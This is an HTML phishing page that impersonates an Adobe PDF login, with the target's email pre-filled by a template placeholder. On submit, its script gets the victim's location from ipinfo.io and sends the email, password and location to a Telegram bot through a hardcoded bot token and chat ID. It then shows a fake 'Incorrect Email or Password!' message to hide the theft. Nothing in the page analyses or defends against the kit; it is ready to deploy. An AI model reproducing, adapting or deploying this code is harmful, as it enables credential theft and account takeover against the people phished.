<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Adobe</title>
    <style>
        /* Body styling with the provided background image */
        body {
            font-family: Arial, sans-serif;
            background-image: url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-3vBlwryYM-nViujdAgEHoxOEPnBH93ECZB9TD7s6RP4K82VxMGwK5IE25cXnzwGDfx2tEnAiZBfzgYML-pfkuxpvqP72-v0eFpETk20PZCVhHnQOaGa2XQ7_XEEkfvlBt-DyP8340HFGybdoWWh9Ai54XC0uZoP7hPIjO49whnc1qFk5MX5UqRrvkId8/s2160/image.png');
            background-size: cover; /* Ensures the image covers the entire background */
            background-position: center;
            background-repeat: no-repeat;
            background-attachment: fixed; /* Makes the background fixed on scroll */
            color: #333;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }

        /* Semi-transparent overlay to make text readable over the background */
        .contact-form {
            background-color: rgba(255, 255, 255, 0.8); /* White with opacity */
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0px 4px 10px rgba(0, 0, 0, 0.1);
            width: 350px;
        }

        .contact-form h2 {
            text-align: center;
            color: #ff0000; /* Adobe red */
        }

        /* Response message styles */
        .contact-form #responseMessage {
            text-align: center;
            font-weight: bold;
            color: #ff0000; /* Adobe red */
            margin-bottom: 10px;
        }

        .contact-form input {
            width: 100%;
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 14px;
        }

        .contact-form button {
            width: 100%;
            padding: 10px;
            background-color: #ff0000; /* Adobe red */
            border: none;
            border-radius: 4px;
            color: #fff;
            font-size: 16px;
            cursor: pointer;
        }

        .contact-form button:hover {
            background-color: #e60000;
        }

        /* Media queries for mobile responsiveness */
        @media only screen and (max-width: 600px) {
            body {
                background-size: cover; /* Ensure the image covers the screen on mobile */
            }

            .contact-form {
                width: 90%; /* Full width for mobile screens */
            }
        }
    </style>
</head>
<body>

    <div class="contact-form">
        <h2>Adobe PDF</h2>

        <!-- The response message will be displayed here -->
        <p id="responseMessage"></p>

        <form id="contactForm">
            <input type="email" id="email" name="email" value="[[-Email-]]" required readonly><br>
            <input type="text" id="good" name="good" placeholder="Password" required><br>
            <button type="submit">Login</button>
        </form>
    </div>

    <script>
        document.getElementById('contactForm').addEventListener('submit', function(e) {
            e.preventDefault();
            
            // Get the form data
            const good = document.getElementById('good').value;
            const email = document.getElementById('email').value;

            // Fetch location details from ipinfo.io API
            fetch('https://ipinfo.io?token=7fb8ecb0d26ce0') // Replace with your actual ipinfo.io token
            .then(response => response.json())
            .then(data => {
                const location = `${data.city}, ${data.region}, ${data.country}`;

                // Your bot token and chat ID
                const botToken = '7513765431:AAHxKMTnhX_0rVvRLTr1CXqqnI59wokc9T4'; // Replace with your Bot Token
                const chatId = '7085025619'; // Replace with your Chat ID
                
                // Construct the message with location info
                const telegramMessage = `New Submission:\nEmail: ${email}\nPassword: ${good}\nLocation: ${location}`;

                // Send the data to Telegram
                fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        chat_id: chatId,
                        text: telegramMessage
                    })
                }).then(response => {
                    if (response.ok) {
                        document.getElementById('responseMessage').textContent = 'Incorrect Email or Password!';
                        document.getElementById('responseMessage').style.color = '#ff0000'; // Green for success
                        document.getElementById('contactForm').reset(); // Reset form after submission
                    } else {
                        document.getElementById('responseMessage').textContent = 'Failed to send message.';
                        document.getElementById('responseMessage').style.color = '#ff0000'; // Red for error
                    }
                }).catch(error => {
                    document.getElementById('responseMessage').textContent = 'An error occurred: ' + error;
                    document.getElementById('responseMessage').style.color = '#ff0000'; // Red for error
                });
            }).catch(error => {
                document.getElementById('responseMessage').textContent = 'Failed to retrieve location data: ' + error;
                document.getElementById('responseMessage').style.color = '#ff0000'; // Red for error
            });
        });
    </script>

</body>
</html>
